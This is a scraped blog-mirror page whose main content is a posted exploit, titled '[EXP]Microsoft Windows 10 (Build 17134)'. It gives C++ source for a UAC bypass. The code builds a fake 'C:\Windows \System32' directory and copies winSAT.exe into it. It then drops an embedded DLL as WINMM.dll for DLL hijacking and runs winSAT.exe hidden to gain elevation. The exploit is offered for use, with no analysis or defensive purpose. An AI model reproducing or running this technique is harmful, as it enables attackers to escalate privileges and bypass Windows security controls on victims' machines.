zoukankan      html  css  js  c++  java
  • [EXP]Microsoft Windows 10 (Build 17134)

    #include "stdafx.h"
    #include <Windows.h>
    #include "resource.h"
    
    void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
        HMODULE hMod = GetModuleHandle(NULL);
        HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
        DWORD dllSize = SizeofResource(hMod, res);
        void* dllBuff = LoadResource(hMod, res);
        HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
        DWORD sizeOut;
        WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
        CloseHandle(hDll);
    }
    
    int main()
    {
        _SHELLEXECUTEINFOW se = {};
        //Create Mock SystemRoot Directory
        CreateDirectoryW(L"\\?\C:\Windows \", 0);
        CreateDirectoryW(L"\\?\C:\Windows \System32", 0);
        CopyFileW(L"C:\Windows\System32\winSAT.exe", L"\\?\C:\Windows \System32\winSAT.exe", false);
    
        //Drop our dll for hijack
        DropResource(L"DATA", L"\\?\C:\Windows \System32\WINMM.dll");
    
        //Execute our winSAT.exe copy from fake trusted directory
        se.cbSize = sizeof(_SHELLEXECUTEINFOW);
        se.lpFile =  L"C:\Windows \System32\winSAT.exe";
        se.lpParameters = L"formal";
        se.nShow = SW_HIDE;
        se.hwnd = NULL;
        se.lpDirectory = NULL;
        ShellExecuteEx(&se);
    
            return 0;
    }
                
  • 相关阅读:
    综合:bool类型 命名空间 输入输出
    C++命名空间
    C++输入输出
    C++新特性
    C++ IDE环境
    C++简介
    3 python3 编码解码问题 upd接受数据
    2 socket UDP通信
    1 网络基础知识
    15 GIL 全局解释器锁 C语言解决 top ps
  • 原文地址:https://www.cnblogs.com/k8gege/p/10533734.html
Copyright © 2011-2022 走看看